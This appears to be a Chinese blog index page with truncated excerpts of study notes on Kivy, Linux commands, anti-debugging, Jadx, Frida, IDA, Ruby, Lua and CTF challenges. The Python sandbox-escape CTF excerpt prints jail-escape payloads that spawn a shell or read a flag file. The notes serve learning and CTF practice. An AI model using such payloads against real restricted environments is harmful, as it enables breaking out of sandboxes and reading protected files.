Kivy笔记
Kivy笔记配置虚拟环境安装虚拟环境
1pip install virtualenv
创建新虚拟环境
1python -m venv myenv
启动虚拟环境
1venv/Scripts/active.bat
退出虚拟环境
1deactivate.bat
Kivy安装依赖项及Kivy安装
1234pip install docutils pygments pypiwin32 kivy_deps.sdl2==0.1.22 kivy_deps.glew==0.1.12pip install kivy_deps.angle==0.3.3pip install kivypip install kivy_examples
Linux命令笔记
Linux命令笔记基础命令时间日期1date
月份日历1cal
磁盘可用空间1df
可用内存容量1free
结束终端会话1exit
导航&探索当前工作目录1pwd
改变当前目录12ch - #切换回前一个工作目录ch ~user_name #更换为用户user_name主目录
ls123lsls /usrls ~ /usr
选项
描述
-a,–all
列出所有文件。
-A,–almost-all
同上 不列出.和..。
-d,–directory
与-l结合使用,查看目录详细信息,而非其中内容。
-F,–classify
名称后加类型指示符。
-h,–human-readable
人类可读形式显示文件大小。
-l
长格式输出。
-r,–reverse
降序,一般字母升序。
-S
按照大小排序。
-t
按照修改日期排序。
file确定文件类型。
1file filename
less查看文本文件。
1less filename
命令
操作
Page Up或b
后翻一页。
Page Down或Spa ...
反调试专题笔记
反调试专题笔记Windows下反调试123456789101112131415#include <iostream>#include <Windows.h>DWORD AntiDebugCallBack(LPVOID lpThreadParameter){ while(true) if(IsDebuggerPresent()){ MessageBox(NULL,"被调试了","Debug",MB_OK); //... };};int main(void){ HANDLE hThread=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)AntiDebugCallBack,NULL,NULL,NULL); WaitForSingleObject(hThread,-1); system("pause"); retu ...
Jadx在雷电模拟器下的远程动态调试笔记
Jadx在雷电模拟器下的远程动态调试笔记雷电模拟器设置在“设置”中调试选择允许本地调试,在去官网上下载新版本的adb全部覆盖掉目录下的那些文件。
adb设置Jadx的默认端口为5037,所以开放该端口:
1adb connect 127.0.0.0:5037
Jadx设置启动雷电模拟器,打开Jadx的“选择要调试的进程”,双击一个进程。
Frida初体验
Frida初体验Frida安装Frida与Python与模拟器的版本是互相匹配的,大约对应关系如下:
雷电模拟器9 对应 Android9 对应 Frida14.2.18 对应 Python3.10
如果能这么安装上更好:
1pip3 install frida==14.2.18
装不上自认倒霉(比如说我),去清华源上啥的自己下载报错提示的.egg文件,放在报错提示的缓存文件夹下,应该就行了。
然后下载Frida-tools:
12pip3 install frida-tools==9.2.5pip install frida-dexdump
去Github上:https://github.com/frida/frida/releases/tag/ 下载frida-server-14.2.18-android-x86_64.xz,直接解压,得到的文件可以自己重命名为frida-server啥的。如果报错可以换个其他版本试试。
雷电模拟器目录下有个adb.exe,但是版本很老了,从官网上下个新版本的,连着其他文件一起覆盖掉。
在雷电模拟器的“设置”的“其他设置”中开启root权限 ...
Ruby初探
Ruby初探基本操作123puts 'hello, world'language='Ruby'puts 'hello, #{language}'
判断逻辑运算符短路。
123456789101112131415x=4puts 'aaa' unless x==4puts 'bbb' if x==4if x==4 puts 'ccc'endunless x==4 puts 'ddd'else puts 'eee'endputs 'fff' if not trueputs 'ggg' if !true#等同于true:数字、字符串#等同于false:nil
循环123456x=x+1 while x<10x=x-1 until x==1while x<10 x=x+1 puts xend
鸭子类型
Ruby在大多数情况下表现为“ ...
Lua初探
Lua初探编译与反编译用以下命令将.lua源代码编译成.out字节码:
1luac main.lua
默认文件名为luac.out。反编译用unluac.exe,把.out文件拷到.exe同一文件夹下:
1unluac luac.out>main.lua
输出123456print(1989)return 1989=1989=xxx --nil类型:不存在print "xxx"print "xxx" print "xxx" --自动换行
字符串拼接1='xxx'..'xxx'
取字符串长度1=#'...'
表达式1234--数学表达式有+-*/% 和 乘方^=not((true or false)and false)=true or func() --“短路”:func()不会被执行-- ==相等~=不相等
函数1234567891011121314151617function triple(num) return 3*numend--或如下: ...
Python沙盒逃逸做题笔记
Python沙盒逃逸做题笔记[HNCTF 2022 Week1]python2 input(JAIL)法一payload1:
1__import__('os').system('sh')
法二payload2:
1__builtins__.__import__('os').system('cat ./flag')
[CISCN 2023 初赛]pyshell
-:返回上一次运行语句的结果,可以进行字符串拼接。
输入长度不大于$7$。
法一总payload:
1eval(open("/flag","r").read())
依次输入:
12345678910"open"_+'("/'_+'fla'_+'g"'-+',"r'_+'")'_+'.'_+'rea'_+ ...
IDA在Kali Linux下的远程动态调试笔记
IDA在Kali Linux下的远程动态调试笔记一、安装Kali Linux已经安装过的最好重装一个,下Vmware镜像就行。
二、配置服务器在IDA目录下的dbgsrv文件夹中有linux_server和linux_server64两个文件。在虚拟机中找个地方放起来,并给权限:
12chmod a+x ./linux_serverchmod a+x ./linux_server64
然后利用以下命令查看Kali Linux的IP地址并记住:
1ifconfig
把要被调试的程序放入虚拟机,并记住位置。该程序也要给权限。
运行服务器,注意32位运行linux_server,64位运行linux_server64。看到Kali开始监听。
三、配置IDA打开需要调试的程序,在上方工具栏下拉框中找到Remote Linux debugger调试器。设置断点,按F9进入调试。
出现对话框,第一空中填Kali Linux中要被调试的程序的路径,第二空中同上,第三空填该程序的目录(即去掉文件名)。在主机名中填入Kali Linux的IP地址,端口号默认。
点击确认,开始动调。
香山杯2023初赛个人做题记录
香山杯2023初赛个人做题记录签到basecrack –magic一把梭,凯撒解码
URL从哪儿来丢ida,发现在windows的temp文件夹中创建文件,提取ou_XXXX.tmp改为ou.exe,丢ida,找到szUrl为http://how.did.i.decrypted?id=,发现v3->base64->作为密钥rc4加密得url,但是动调发现密钥被篡改,怀疑原密钥为flag,exp:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162import base64v3=[0 for i in range(56)]v3[0]=120v3[1]=139v3[2]=150v3[3]=134v3[4]=120v3[5]=81v3[6]=145v3[7]=80v3[8]=108v3[9]=98v3[10]=119v3[11]=83v3[12]=108v3[13]=136v3[14]=99v3[15] ...